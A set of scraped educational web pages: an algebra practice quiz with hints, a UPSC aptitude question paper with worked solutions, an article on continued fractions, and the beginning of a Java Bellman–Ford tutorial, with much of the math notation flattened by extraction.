(Objective 0020).\n Question 6\n\n#### A sales companies pays its representatives $2 for each item sold, plus 40% of the price of the item. The rest of the money that the representatives collect goes to the company. All transactions are in cash, and all items cost$4 or more.   If the price of an item in dollars is p, which expression represents the amount of money the company collects when the item is sold?\n\n A $$\\large \\dfrac{3}{5}p-2$$Hint: The company gets 3/5=60% of the price, minus the $2 per item. B $$\\large \\dfrac{3}{5}\\left( p-2 \\right)$$Hint: This is sensible, but not what the problem states. C $$\\large \\dfrac{2}{5}p+2$$Hint: The company pays the extra$2; it doesn't collect it. D $$\\large \\dfrac{2}{5}p-2$$Hint: This has the company getting 2/5 = 40% of the price of each item, but that's what the representative gets.\nQuestion 6 Explanation:\nTopic: Use algebra to solve word problems involving fractions, ratios, proportions, and percents (Objective 0020).\n Question 7\n\n#### The student‘s solution is correct.\n\nHint:\nTry plugging into the original solution.\n\n#### The student did not correctly use properties of equality.\n\nHint:\nAfter $$x=-2x+10$$, the student subtracted 2x on the left and added 2x on the right.\n\n#### The student did not correctly use the distributive property.\n\nHint:\nDistributive property is $$a(b+c)=ab+ac$$.\n\n#### The student did not correctly use the commutative property.\n\nHint:\nCommutative property is $$a+b=b+a$$ or $$ab=ba$$.\nQuestion 7 Explanation:\nTopic: Justify algebraic manipulations by application of the properties of equality, the order of operations, the number properties, and the order properties (Objective 0020).\n Question 8\n\n#### Solve for x: $$\\large 4-\\dfrac{2}{3}x=2x$$\n\n A $$\\large x=3$$Hint: Try plugging x=3 into the equation. B $$\\large x=-3$$Hint: Left side is positive, right side is negative when you plug this in for x. C $$\\large x=\\dfrac{3}{2}$$Hint: One way to solve: $$4=\\dfrac{2}{3}x+2x$$ $$=\\dfrac{8}{3}x$$.$$x=\\dfrac{3 \\times 4}{8}=\\dfrac{3}{2}$$. Another way is to just plug x=3/2 into the equation and see that each side equals 3 -- on a multiple choice test, you almost never have to actually solve for x. D $$\\large x=-\\dfrac{3}{2}$$Hint: Left side is positive, right side is negative when you plug this in for x.\nQuestion 8 Explanation:\nTopic: Solve linear equations (Objective 0020).\n Question 9\n\n#### $$\\large A-B+C\\div D\\times E$$?\n\n A $$\\large A-B-\\dfrac{C}{DE}$$Hint: In the order of operations, multiplication and division have the same priority, so do them left to right; same with addition and subtraction. B $$\\large A-B+\\dfrac{CE}{D}$$Hint: In practice, you're better off using parentheses than writing an expression like the one in the question. The PEMDAS acronym that many people memorize is misleading. Multiplication and division have equal priority and are done left to right. They have higher priority than addition and subtraction. Addition and subtraction also have equal priority and are done left to right. C $$\\large \\dfrac{AE-BE+CE}{D}$$Hint: Use order of operations, don't just compute left to right. D $$\\large A-B+\\dfrac{C}{DE}$$Hint: In the order of operations, multiplication and division have the same priority, so do them left to right\nQuestion 9 Explanation:\nTopic: Justify algebraic manipulations by application of the properties of order of operations (Objective 0020).\n Question 10\n\n#### The commutative property is used incorrectly.\n\nHint:\nThe commutative property is $$a+b=b+a$$ or $$ab=ba$$.\n\n#### The associative property is used incorrectly.\n\nHint:\nThe associative property is $$a+(b+c)=(a+b)+c$$ or $$a \\times (b \\times c)=(a \\times b) \\times c$$.\n\n#### The distributive property is used incorrectly.\n\nHint:\n$$(x+3)(x+3)=x(x+3)+3(x+3)$$=$$x^2+3x+3x+9.$$\nQuestion 10 Explanation:\nTopic: Justify algebraic manipulations by application of the properties of equality, the order of operations, the number properties, and the order properties (Objective 0020).\nThere are 10 questions to complete.\n\nIf you found a mistake or have comments on a particular question, please contact me (please copy and paste at least part of the question into the form, as the numbers change depending on how quizzes are displayed).   General comments can be left here." ]
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https://placement.freshersworld.com/upsc-question-papers/question-paper/33134720
[ "UPSC Question-Paper Contributed by sanalKumar updated on Oct 2020\n• Apply to Premium Jobs from Top MNCs\n• Priority Shortlisting & Call-letters for drives\nApply to Premium Jobs from Top MNCs\nPriority Shortlisting & Call-letters for drives\nAccess of Complete Question and Solution of the Test Series\nTake Test Now\n\nUPSC IES/ISS General ability, Aptitude questions with answers and explanation, UPSC previous years solved questions with answers\nPart - C UPSC questions with answers and explanations\nNumerical Aptitude\n\n101. If p = 124, 3√p (p2 + 3p + 3) + 1 = ?a. 5\nb. 7\nc. 123\nd. 125 (Ans)\nAns :\n3√p (p2 + 3p + 3) + 1\n= 3√p3 + 3p2 + 3p + 1\n= 3√(p + 1)3= (p + 1)\n= 125\n\n102. If √1 - x3/100 = 3/5, then x equals —\na. 2\nb. 4 (Ans)\nc. 16\nd. (136)1/3\n\nAns : √1 - x3/100 = 3/5⇒ 1 - x3/100 = 9/25∴ x3/100 = 16/25⇒ x3 = 16*100/25 = (4)3∴ x = 4 103. I multiplied a natural number by 18 and another by 21 and added the products. Which one of the following could be the sum?a. 2007 (Ans)\nb. 2008\nc. 2006\nd. 2002\nAns : 18x + 21y = 3 (6x + 7y)Only 2007 is divisible by 3. Hence it is only possible.\n\n104. The product of two numbers is 45 and their difference is 4. The sum of squares of the two numbers is —a. 135\nb. 240\nc. 73\nd. 106 (Ans)Ans : x y = 45 x - y = 4∴ x2 + y2 = (x - y)2 + 2xy = 16 + 90 = 106\n\n105. √8 + √57 + √38 + √108 + √169 = ?a. 4 (Ans)\nb. 6\nc. 8\nd. 10\nAns : ? = √8 + √57 + √ 38 +√108 + √ 169\n\n= √ 8 + √ 57 + √38 + √108 +13\n= √ 8 + √57 + 7 = √ 8 + 8 = 4\n\n106. The square root of 14 + 6√5 is —\na. 2 + √5\nb. 3 + √5 (Ans)\nc. 5 + √3\nd. 3 + 2√5\nAns : √ 14 + 6 √ 5 = √9 + 5 + 2*3* √5= 3 + √5\n\n107. When 231 is divided by 5 the remainder is —\na. 4\nb. 3 (Ans)\nc. 2\nd. 1\nAns : The unit digit in (2)31 will be same as the unit digit in (2)3, because the last digit is repeated after each 4 index∴ (2)31 → 228 + 3 = 23 = 8∴ After dividing by 5, the remainder will be = 8 - 5 = 3.\n108. The value of 1 + 1 is 1 + 1 1 + 1 1 + 1 1 + 2/3a. 21/13\nb. 17/3\nc. 34/21 (Ans)\nd. 8/5\nAns : 1 + 1 is 1 + 1 1 + 1 1 + 1 1 + 2 /3\n\n= 1 + 1 1 + 1 1 + 1 1 + 3/5\n= 1 + 1 1 + 1 1 + 5/8\n= 1 + 1 1 + 8/13 = 1 + 13/21 = 34/21109. The unit digit in the product (122)173 is —\na. 2 (Ans)\nb. 4\nc. 6\nd. 8\nAns : A\n\n110. The value of 2 + √3 / 2 - √3 + 2 - √3 / 2 + √3 + √3 + 1 / √3 - 1 is—a. 16 + √3 (Ans)b. 4 - √3c. 2 - √3d. 2 + √3\nAns : 2 + √ 3 / 2 - √3 + 2 - √3 / 2 + √3 + √3 + 1 / √3 - 1= (2 + √3)2 + (2 - √3)2 / ( 2 - √3) + (2 + √3) + (√3 + 1) (√3 + 1) / (√3 - 1) (√3 + 1)= 14/1 + 3 + 1 + 2√3/2\n= 14 + 2 + √3\n= 16 + √3\n111. If a*b = 2a + 3b - ab, then the value of (3*5 + 5*3) is—a. 10 (Ans)\nb. 6\nc. 4\nd. 2\nAns : a * b = 2a + 3b - ab∴ (3 * 5 + 5 * 3) = (2 * 3 + 3 * 5 - 3 * 5) + (2 * 5 + 3 * 3 - 5 * 3)= (6 + 15 - 15) + (10 + 9 - 15)\n= 6 + 4\n= 10\n\n112. Simplify : 0.0347 * 0.0347 * 0.0347 + (0.9653)3 / (0.0347)2 - (0.347) (0.09653) + (0.9653)2a. 0.9306\nb. 1.0009\nc. 1.0050\nd. 1 (Ans) (Ans)\nAns : 0.0347 * 0.0347 * 0.0347 + (0.9653)3 / (0.0347)2 - (0.347) (0.09653) + (0.9653)2= (0.0347)3 + (0.9653)3 / (0.0347)2 - (0.0347) (0.9653) + (0.9653)2 (0.0347 + 0. 9653)= [(0.0347)2 - (0.0347 * 0.9653) + (0.9653)2] / [(0.0347)2 - 0.0347 * 0.9653 + (0.9653)2]\n= 1\n\n113. A copper wire is bent in the form of an equilateral triangle and has area 121 √3 cm2, If the same wire is bent into the form of a circle, the area (in cm2) enclosed by the wire is ( Take = 22/7)—\na. 364.5\nb. 693.5\nc. 346.5 (Ans)\nd. 639.5\nAns : Area of equilateral ? = √3/ 4 (side)2∴ 121 √3 = √3/4 (side)2∴ (side) = √4 *121 = 22 cm∴ Length of wire = 3 * 22 = 66cm∴ 2 * 22/7 * r = 66r = 66 * 7 / 2 * 22\n= 21 / 2 cm\n∴ Area of the circle = 22/7 * 21/2 * 21/2= 346.5 cm2\n\n114. A child reshapes a cone made up of clay of height 24 cm and radius 6 cm into a sphere. The radius (in cm) of the sphere is—a. 6 (Ans)\nb. 12\nc. 24\nd. 48\nAns : 3/4 r3 = 1/3 (6)2 * 24∴ r3 = 216 = (6)3∴ r = 6 cm\n\n115. Water flows into a tank which is 200 m long and 150 m wide, through a pipe of crosssection 0.3 m * 0.2 m at 20 km/hour. Then the time (in hours) for the water level in the tank to reach 8 m is—\na. 50\nb. 120\nc. 150\nd. 200 (Ans)\nAns : Reqd. time = 200 * 150 * 8/ 0.3 * 0.2 * 20000 hrs.= 200 hrs.\n\n116. The product of two numbers is 2028 and their H.C.F. is 13. The number of such pairs is—\na. 1\nb. 2 (Ans)\nc. 3\nd. 4\nAns : Let the numbers be 13x and 13y.∴ 13x * 13y = 2028\n∴ xy = 12∴ x = 3 and y = 4or x = 1 and y = 12∴ The number of pairs are = 2\n\n117. Two equal vessels are filled with the mixtures of water and milk in the ratio of 3 : 4 and 5 : 3 respectively. If the mixtures are poured into a third vessel, the ratio of water and milk in the third vessel will be—a. 15 : 12b. 53 : 59c. 20 : 9d. 59 : 53 (Ans)Ans : Reqd. ratio = (3/7 + 5/8) / (4/7 + 3/8)= (24 + 35)/ (32 + 21)\n= 59 : 53\n118. I am three times as old as my son. 15 years hence, I will be twice as old as my son. The sum of our ages is—\na. 48 years\nb. 60 years (Ans)\nc. 64 years\nd. 72 years\nAns : Let the present age of the son be x years∴ My present age = 3x years∴ 3x + 15 / x + 15 = 2/1\n∴ Reqd. sum = 45 + 15 = 60 years\n\n119. Three bells ring simultaneously at 11 a.m. They ring at regular intervals of 20 minutes, 30 minutes, 40 minutes respectively. The time when all the three ring together next is—a. 2 p.m.\nb. 1 p.m. (Ans)\nc. 1.15 p.m.\nd. 1.30 p.m.\nAns : L.C.M. of 20, 30 and 40 minutes= 120 minutes= 2 hours.\n∴ Reqd. time = 1 p.m.\n\n120. A and B together can do a work in 12 days. B and C together do it in 15 days, If A's efficiency is twice that of C, then the days required for B alone of finish the work is—\na. 60\nb. 30\nc. 20 (Ans)\nd. 15\nAns : Let the time taken by A to finish the work be x days∴ C will take 2x days to finish the work\n∴ Work of B for 1 day = 1/12 - 1/x\nand work of B for 1 day = 1/15 - 1/2x∴ 1/12 -1/x = 1/15 - 1/2x\n∴ 1/2x = 1/12 - 1/15\n= 1/60\n∴ x = 30\n∴ Work of B for 1 day = 1/12 - 1/30= 1/20\n∴ B alone will finsh the work in 20 days. 121. A and B can do a work in 12 days, B and C can do the same work in 15 days, C and A can do the same work in 20 days. The time taken by A, B and C to do the same work is—a. 5 days\nb. 10 days (Ans)\nc. 15 days\nd. 20 days\nAns : Reqd. time= 12 * 15 * 20 * 2/ (12 * 15 + 15 * 20 + 12 * 20)\n= 7200/(180 + 300 + 240)\n= 10 days\n\n122. A is 50% as efficient as B . C does half of the work done by A and B together. If C alone does the work in 20 days, then A, B and C together can do the work in—a. 5 2/3 days\nb. 6 2/3 days (Ans)\nc. 6 days\nd. 7 days\nAns : Let the time taken by B to complete the work be x days∴ Time ,, ,, by A ,, ,,= 2x days\n∴ Work done by by C for 1 day\n= 1/2 (1/x + 1/2x)\n= 3/4x\n∴ 3/4x = 1/20⇒ x = 15∴ Work done by (A + B + C) for 1 day = 1/30 + 1/15 + 1/20 = 9/60= 3/20\n∴ Reqd. time = 6 2/3 days\n\n123. The ratio of the volumes of water and glycerine in 240 cc of mixture is 1 : 3. The quantity of water (in cc) that should be added to the mixture so that the new ratio of added to the mixture so that the new ratio of the volumes of water and glycerine becomes 2 :3 is—a. 55\nb. 60 (Ans)\nc. 62.5\nd. 64\nAns : The quantity of water to be added= 240 (3-2)/ (1 + 3)\n= 60 c.c.\n\n124. At present, the ratio of the ages of Maya and Chhaya is 6 : 5 and fifteen years from now, the ratio will get changed to 9 : 8 Maya's present age is—a. 21 years\nb. 24 years\nc. 30 years (Ans)\nd. 40 years\nAns : Let the present ages of Maya and Chhaya be 6x and 5x years respectively.6x + 15/ 5x + 15 = 9/8\n48x + 120 = 45x + 135\nx = 5\n∴ Present age of Maya is = 30 years.\n\n125. The ratio of the income to the expenditure of a family is 10 : 7. If the family's expenses are Rs.10,500, then savings of the family is—a. Rs.4,500 (Ans)\nb. Rs.10,000\nc. Rs.4,000\nd. Rs.5,000\nAns : Let the income and expenditures be Rs.10x and Rs.7x respectively∴ 7x = 10500⇒ x = Rs.1500∴ Savings = (10-7) * 1500= Rs.4500\n\n126. The average mathematics marks of two Sections A and B of Class IX in the annual examination is 74. The average marks of Section A is 77.5 and that of Section B is 70. The ratio of the number of students of Section A and B is—a. 7 : 8\nb. 7 : 5\nc. 8 : 7 (Ans)\nd. 8 : 5\nAns : Let the numbers of A and B be n and P respectively∴ n * 77.5 + P * 70 = (n + P) * 7477.5n - 74n = 74P - 70P\n3.5n = 4P\n∴ n/P = 4 : 3.5= 8 : 7\n\n127. The average weight of a group of 20 boys was calculated to be 89.4 kg and it was later discovered that one weight was misread as 78 kg instead of 87 kg. The correct average weight is—a. 88.95 kg\nb. 89.25 kg\nc. 89.55 kg\nd. 89.85 kg (Ans)\nAns : The correct average wt.\n= 20 * 89.4 + 87 - 78/ 20\n= 1788 +9/20\n= 89.85 kg.\n\n128. The diameter of a wheel is 98 cm. The number of revolutions in which it will have to cover a distance of 1540 m is—\na. 500 (Ans)\nb. 600\nc. 700\nd. 800\nAns : No. of revolutions= 1540 * 100 * 7/98 * 22\n= 500\n\n129. In an equilateral triangle ABC of side 10cm, the side BC is trisected at D. Then the length (in cm) of AD is—\na. 3√7\nb. 7√3\nc. 10√7/3 (Ans)\nd. 7√10/3Ans : cos 60 = (10)2 + (10/3)2 - AD2/ 2 * 10 * 10/3\n1/2 = 100 + 100/9 - AD2 / 200/31/2 * 200/3 = 1000 - 9 AD2 /9\n\n130. The cost price of an article is Rs.800. After allowing a discount of 10% , a gain of 12.5% was made. Then the marked price of the article is—a. Rs.1,000 (Ans)\nb. Rs.1,100\nc. Rs.1,200\nd. Rs.1,300\nAns : S. P. of the article = 800 * 112.5/100= Rs.900\n∴ M.P. of the article = 100 * 900/ (100 - 10)\n= Rs.1000\n\n131. A man bought an article listed at Rs.1,500 with a discount of 20% offered on the list price. What additional discount must be offered to the man to bring the net price to Rs.1,104 ?a. 8% (Ans)\nb. 10%\nc. 12%d. 15%\nAns : S. P. the article after a discount of 20%\n= 1500 * 80/100\n= Rs.1200\n∴ Additional discount = (1200 - 1104) * 100/1200= 8%\n\n132. If a/b = c/d = e/f = 3, then 2a2 + 3c2 + 4e2/ 2b2 + 3d2 + 4f2 = ?a. 2\nb. 3\nc. 4\nd. 9 (Ans)\nAns : a/b = c/d = e/f = 3∴ a = 3bc = 3d\nand e = 3f∴ ? = 2a2 + 3c2 + 4e2/ 2b2 +3d2 + 4f2= 2 * 9b2 + 3 * 9d2 + 4 * 9f2/ 2b2 + 3d2 + 4f2\n= 9\n\n133. The floor of a room is of size 4 m * 3m and its height is 3 m. The walls and ceiling of the room require painting. The area to be painted is—\na. 66 m2\nb. 54 m2 (Ans)\nc. 43 m2\nd. 33 m2\nAns : Reqd. area = 2(4 + 3) * 3 + 4 * 3\n= 42 + 12\n= 54 m2\n\n134. When the price of an article was reduced by 20%, its sale increased by 80%. What was the net effect on the sale?\na. 44% increase (Ans)\nb. 44% decrease\nc. 66% increase\nd. 75% increase\nAns : Reqd. % effect = [80 - 20 - 80*20/100]%= 44% increase\n\n135. The price of sugar goes up by 20%. If a housewife wants the expenses on sugar to remain the same, she should reduce the consumption by—\na. 15 1/5%b. 16 2/3% (Ans)c. 20%\nd. 25%\nAns : Reqd. % reduction =20 * 100/ (100 + 20)%\n= 16 2/3%\n\n136. In a factory 60% of the workers are above 30 years and of these 75% are males and the rest are females. If there are 1350 male workers above 30 years, the total number of workers in the factory is—a. 3000 (Ans)\nb. 2000\nc. 1800\nd. 1500\nAns : Let the total no.of workers be x.\n∴ No. of males above 30 years\n⇒ x * 60/100 * 75/100 = 1350\n∴ x = 1350 * 100 * 100/ 60 * 75= 3000\n\n137. Walking at 3/4 of his usual speed, a man is 1 1/2 hours late. His usual time to cover the same distance, in hours is—a. 4 1/2 (Ans)\nb. 4\nc. 5 1/2\nd. 5\nAns : Let the usual time be x hours x * usual speed= 3/4 * usual speed * (x + 3/2)\nx = 3/4 x + 9/8\n∴ x = 9/8 * 4= 4 1/2 hours\n\n138. The selling price of 10 oranges is the cost price of 13 oranges. Then the profit percentages is—a. 30% (Ans)\nb.10%\nc. 13%\nd. 3%\nAns : Profit % = (13-10)/10 * 100%\n= 30%\n\n139. The marked price of a radio is Rs.480. The shopkeeper allows a discount of 10% and gains 8%. If no discount is allowed, his gain percent would be—a. 18%\nb. 18.5%\nc. 20.5%\nd. 20% (Ans)\nAns : C.P. of the radio = 480 * 90/ 100 * 100/108= Rs.400\n∴ New profit % = 480 - 400/400 * 100%=20%\n\n140. A man sold 20 apples for Rs.100 and gained 20%. How many apples did he buy for Rs.100?a. 20\nb. 22\nc. 24 (Ans)\nd. 25\nAns : ? C.P. of 1 apple = Rs. 100/20 * 100/120∴ No. of reqd. apples = 100 * 20 * 120/ 100 * 100= 24\n\n141. A rectangular sheet of metal is 40 cm by 15 cm. Equal squares of side 4 cm are cut off at the corners and the remainder is folded up to form an open rectangular box. The volume of the box is—a. 896 cm3 (Ans)\nb. 986 cm3\nc. 600 cm3\nd. 916 cm3\nAns : Vol. of the open box\n= (40 - 8) * (15 - 8) * 4\n= 32 * 7 * 4\n= 896 cm3\n142. If 78 is divided into three parts which are in the ratio 1 : 1/3 : 1/6, the middle part is—a. 9 1/3\nb. 13\nc. 17 1/3 (Ans)\nd. 18 1/3\nAns : Ratio = 1 : 1/3 : 1/6= 6 : 2 : 1\n∴ The middle part = 2 * 78/(6 + 2 + 1)= 52/3\n= 17 1/3\n\n143. The simple interest on a sum of money is 1/9 of the principal and the number of years is equal to rate per cent per annum. The rate per annum is—a. 3%\nb. 1/3%\nc. 3 1/3% (Ans)\nd. 3/10%\nAns : ? 1/9 * P = P * R * R/100∴ R = 10/3%= 3 1/3%\n\n144. The difference between simple interest and compound interest of a certain sum of money at 20% per annum for 2 years is Rs.48. Then the sum is—a. Rs.1,000\nb. Rs.1,200 (Ans)\nc. Rs.1,500\nd. Rs.2,000\nAns : ? D = P (r/100)2⇒ 48 = P (20/100)2\n∴ P = 48 * 25= Rs.1200\n\n145. Shri X goes to his office by scooter at a speed of 30 km/h and reaches 6 minutes earlier. If he goes at a speed of 24 km/h, he reaches 5 minutes late. The distance to his office is—a. 20 km\nb. 21 km\nc. 22 km (Ans)\nd. 24 km\nAns : Reqd. distance = 30 * 24/(30 - 24) * (6 + 5)/60= 720 * 11/ 6 * 60\n= 22 km\n\n146. A sum of money becomes eight times in 3 years, if the rate is compounded annually. In how much time will the same amount at the same compound rate become sixteen times?a. 6 years\nb. 4 years (Ans)\nc. 8 years\nd. 5 years\nAns : Reqd. time = a log q/ log p= 3 * log 16/ log 8\n= 3 * 4 log 2/ 3 log 2\n= 4 years\n\nDirections - The pie chart given below shows the spending of a family on various heads during a month. Study the graph and answer questions 147 to 150.(Image)\n\n147. If the total income of the family is Rs.25,000, then the amount spent on Rent and Food together is—a. Rs.17,250\nb. Rs.14,750 (Ans)\nc. Rs.11,250\nd. Rs.8,500\nAns : Reqd. expenditure = (45 + 14) * 25000/100\n= Rs.14750\n\n148. What is the ratio of the expenses on Education to the expenses on Food?\na. 1 : 3 (Ans)\nb. 3 : 1\nc. 3 : 5\nd. 5 : 3\nAns : Reqd. ratio = 15 : 45\n= 1 : 3\n\n149. Expenditure on Rent is what per cent of expenditure on Fuel ?\na. 135%\nb. 156% (Ans)\nc. 167%\nd. 172%\nAns : Reqd. ratio % = 14 * 100/9%= 156%\n150. Which three expenditures together have a central angle of 1080 ?a. Fuel, Clothing and Others\nb. Fuel, Education and Others (Ans)\nc. Clothing, Rent and Others\nd. Education, Rent and others" ]
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https://www.cut-the-knot.org/do_you_know/fraction.shtml
[ "The word 'fraction' derives from the Latin fractio - to break. However, there are continuous fractions.", null, "Well, not quite. The accepted terminology is continued fraction. However, one of the Russian terms for what I want to discuss on this page is indeed continuous fraction. Continued fraction are extremely important in the theory of rational approximation. They also provide a simple way to construct a variety of transcendental numbers. Here's the definition.\n\nIn general, continued fraction is an expression in the form", null, "where ai and bi may be any kind of numbers, variables, or functions. With all bi = 1 we have simple continued fractions.", null, "We shall only be concerned with the latter variety. A more convenient notation is r = [a0,a1,a2,a3,...]. To end with notations, if a0 is an integer, most often it's separated from the rest of the coefficients with a semicolon: r = [a0;a1,a2,a3,...]. In what follows I shall assume that all ai are integers and, for i > 0, ai > 0.\n\nTo make the terminology and notations more intuitive let's apply Euclid's algorithm to finding the greatest common divisor of, say, 1387 and 3796. Begin by dividing the smaller number 1387 into the larger one (3796) and keeping track of the remainder.\n\n3796 = 1387·2 + 1022\n\nwhich also can be written as\n\n 3796/1387 = 2 + 1022/1387 = 2 + 1/(1387/1022).\n\nThe key step of the algorithm is exactly this: \"Keep dividing the smaller number 1387 into the larger one.\" Thus, let's continue\n\n 1387/1022 = 1 + 365/1022 = 1 + 1/(1022/365).\n\nIn other words,\n\n 3796/1387 = 2 + 1022/1387 = 2 + 1/(1 + 1/(1022/365)).\n\nFurther\n\n1022 = 365·2 + 292\n365 = 292·1 + 73\n292 = 73·4\n\nOmitting parentheses (as is customary), we may write\n\n 3796/1387 = 2 + 1022/1387 = 2+1/1+ 1/(1022/365) = 2+1/1+1/2+ 1/(365/292) = 2+1/1+1/2+1/1+1/4.\n\nFinally, 3796/1387 = [2;1,2,1,4]. The above explains why the terms ai are usually called quotients. Also, it shows that every rational number can be associated with a finite continued fraction. On the other hand, given a finite fraction [a0;a1,a2,a3,...,an], we may as well carry out the arithmetic operations in the reverse order. Which will ultimately lead to a rational number r. Since, obviously, [a0;a1,a2,a3,...,an,1] = [a0;a1,a2,a3,...,an+1], let's agree to exclude the finite fractions with the last quotient equal to 1. With this convention, the correspondence between rational numbers and finite continued fractions becomes 1-1.\n\nIrrational numbers can also be uniquely associated with (simple) continued fractions. Take an irrational r and denote a0 = [r], where [] is the floor function. Next write r = a0 + 1/r1, where r1 = 1/(r - a0). Continue in this fashion: a1 = [r1] and r2 = 1/(r1 - a1), and more generally\n\nak = [rk]\nrk = 1/(rk-1 - ak-1),\n\nwhere k > 1 (with the convention that r0 = r.) We can write\n\nr = [a0;r1] = [a0;a1,r2] = [a0;a1,a2,r3] ...\n\nQuite naturally the terms ri are called remainders. Note that, since, for an irrational r, 1 > r - [r] > 0, r1 = 1/(r - [r]) is also irrational and r1>1. The same is true for k > 1: all rk are irrational and rk > 1. Therefore the process never stops and leads to a uniquely defined infinite continued fraction for which ak > 0 for k > 0. Note that with thus defined correspondence r1 = [a1,r2] = [a1,a2,r3] = ..., r2 = [a2,r3] = ..., and so on.\n\nAs we see, the association between real numbers and continued fractions is defined recursively. It will come then as no surprise that many of the features of the continued fractions are expressed in recursive terms. For example, for a continued fraction (either finite or infinite) one defines a family of finite segments sk = [a0;a1,a2,...,ak], each sk being a rational number: sk= pk/qk with qk > 0. Then we have the following fundamental theorem that can be proved by induction.\n\n## Theorem 1\n\nFor all k ≥ 2,\n\n (1) pk = akpk-1 + pk-2 (2) qk = akqk-1 + qk-2\n\nSet p-1 = 1 and q-1 = 0. First subtracting (2) multiplied by pk-1 from (1) multiplied by qk-1 and then subtracting (2) multiplied by pk-2 from (1) multiplied by qk-2 we further get\n\n## Theorem 2\n\nFor all k ≥ 0,\n\n (3) qkpk-1 - pkqk-1 = (-1)k (4) qkpk-2 - pkqk-2 = (-1)k-1ak\n\n(3) and (4) can be rewritten as\n\n (3') sk - sk-1 = (-1)k-1/(qkqk-1) (4') sk - sk-2 = (-1)kak/(qkqk-2)", null, "It's about time I start drawing some conclusions.\n\n1. From (2), qi grows with i.\n2. All fractions sk with k >1 are irreducible. This follows from (3); for a common factor of pk and qk would divide 1.\n3. From (4'), if k is even, sk is an increasing sequence. For k odd, sk decreases.\n4. From (3'), if k is even, sk < sk-1. If k is odd, the reverse inequality holds.\n5. Combining 3. and 4. we get\n\ns0 < s2 < s4 < ... < s2n < ... < s2n-1 < ... < s5 < s3 < s1\n\n6. Therefore, sk converges both for even and odd indices. From 1. and (3') the limits coincide. Thus, sk is a convergent sequence. It's a gratifying fact that the sequence converges to r. For this reason the fractions sk are known as Convergents. Let's prove this. As we know,\n\nr = [a0;a1,...,ak-1,rk]\n\nTherefore,\n\n (5) r = (pk-1rk + pk-2)/(qk-1rk + qk-2), k > 1.\n\nOn the other hand, obviously\n\n (6) sk = (pk-1ak + pk-2)/(qk-1ak + qk-2), k>1\n\nFrom (5) and (6)", null, "which implies", null, "which, in view of 1., not only proves that sk converges to r but also gives an estimate for the rate of convergence. Note that this is the same inequality we once proved using the Pigeonhole principle. The new proof supplies a constructive way to approximate an irrational number.", null, "## Examples\n\n1. r = [1;1,1,1,...] = 1 + 1/r. Therefore, r is the positive root of r 2 = r+1. Thus the golden ratio (1 + 5)/2 has the simplest continued fraction representation possible.\n2. Similarly, you can find [2;2,2,2,...] and, in general, [n;n,n,...].\n3. r = [1;2,2,2,...] can be found once you know [2;2,2,...]. But there is another way. r-1 = [0;2,2,2,...] whereas r+1 = [2;2,2,2,...]. Therefore (r - 1)(r + 1) = 1. Or r = 2.\n4. r = [1;1,2,1,2,1,2,...]. Similar to the above, r+1 = [2;1,2,1,2,...] whereas r-1 = [0;1,2,1,2,...]. Let r1 = [1;2,1,2,...]. Then (r+1) = [2;r1] = 2·r1. On the other hand, (r-1) = [0; r1] = 1/r1. Thus we get (r+1)(r-1) = 2. Finally, r = 3.\n\nAll of the above fractions are periodic in the sense we apply to decimal fractions. Le comte J. L. Lagrange (1736-1813) proved that this is a characteristic property of roots of quadratic polynomials.\n\n5. The next two examples are due to S. Ramanujan, one of the greatest mathematical geniuses. Being a poor uneducated clerk, in 1913 Ramanujan sent a letter to G. H. Hardy who was by this time a world famous mathematician. He was accustomed to receiving letters from cranks. So he was bored more than anything else. Then it dawned on him that \"They must be true because, if they were not true, no one would have had the imagination to invent them.\" The examples below were among 120 theorems from the Ramanujan's letter and are specifically referred to in the above passage.", null, "6. The following couple belongs to L. Euler", null, "", null, "" ]
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https://www.wikitechy.com/technology/java-programming-bellman-ford-algorithm/
[ "# Java Programming – Bellman–Ford Algorithm\n\nJava Programming - Bellman–Ford Algorithm - Dynamic Programming Given a graph and a source vertex src in graph, find shortest paths from src to all vertices\n\nGiven a graph and a source vertex src in graph, find shortest paths from src to all vertices in the given graph. The graph may contain negative weight edges.\nWe have discussed Dijkstra’s algorithm for this problem. Dijksra’s algorithm is a Greedy algorithm and time complexity is O(VLogV) (with the use of Fibonacci heap). Dijkstra doesn’t work for Graphs with negative weight edges, Bellman-Ford works for such graphs. Bellman-Ford is also simpler than Dijkstra and suites well for distributed systems. But time complexity of Bellman-Ford is O(VE), which is more than Dijkstra.\n\nAlgorithm\nFollowing are the detailed steps.\n\nInput: Graph and a source vertex src\nOutput: Shortest distance to all vertices from src. If there is a negative weight cycle, then shortest distances are not calculated, negative weight cycle is reported.\n\n• This step initializes distances from source to all vertices as infinite and distance to source itself as 0. Create an array dist[] of size |V| with all values as infinite except dist[src] where src is source vertex.\n• This step calculates shortest distances. Do following |V|-1 times where |V| is the number of vertices in given graph.\n• …..Do following for each edge u-v\n………………If dist[v] > dist[u] + weight of edge uv, then update dist[v]\n………………….dist[v] = dist[u] + weight of edge uv\n• This step reports if there is a negative weight cycle in graph. Do following for each edge u-v\n……If dist[v] > dist[u] + weight of edge uv, then “Graph contains negative weight cycle”\nThe idea of step 3 is, step 2 guarantees shortest distances if graph doesn’t contain negative weight cycle. If we iterate through all edges one more time and get a shorter path for any vertex, then there is a negative weight cycle\n\nHow does this work? Like other Dynamic Programming Problems, the algorithm calculate shortest paths in bottom-up manner. It first calculates the shortest distances for the shortest paths which have at-most one edge in the path. Then, it calculates shortest paths with at-nost 2 edges, and so on. After the ith iteration of outer loop, the shortest paths with at most i edges are calculated. There can be maximum |V| – 1 edges in any simple path, that is why the outer loop runs |v| – 1 times. The idea is, assuming that there is no negative weight cycle, if we have calculated shortest paths with at most i edges, then an iteration over all edges guarantees to give shortest path with at-most (i+1) edges.\n\nExample\nLet us understand the algorithm with following example graph. The images are taken from this source.\n\nLet the given source vertex be 0. Initialize all distances as infinite, except the distance to source itself. Total number of vertices in the graph is 5, so all edges must be processed 4 times.", null, "Let all edges are processed in following order: (B,E), (D,B), (B,D), (A,B), (A,C), (D,C), (B,C), (E,D). We get following distances when all edges are processed first time. The first row in shows initial distances. The second row shows distances when edges (B,E), (D,B), (B,D) and (A,B) are processed. The third row shows distances when (A,C) is processed. The fourth row shows when (D,C), (B,C) and (E,D) are processed.", null, "The first iteration guarantees to give all shortest paths which are at most 1 edge long. We get following distances when all edges are processed second time (The last row shows final values).", null, "The second iteration guarantees to give all shortest paths which are at most 2 edges long. The algorithm processes all edges 2 more times. The distances are minimized after the second iteration, so third and fourth iterations don’t update the distances.\n\nJava\n``````// A Java program for Bellman-Ford's single source shortest path\n// algorithm.\nimport java.util.*;\nimport java.lang.*;\nimport java.io.*;\n\n// A class to represent a connected, directed and weighted graph\nclass 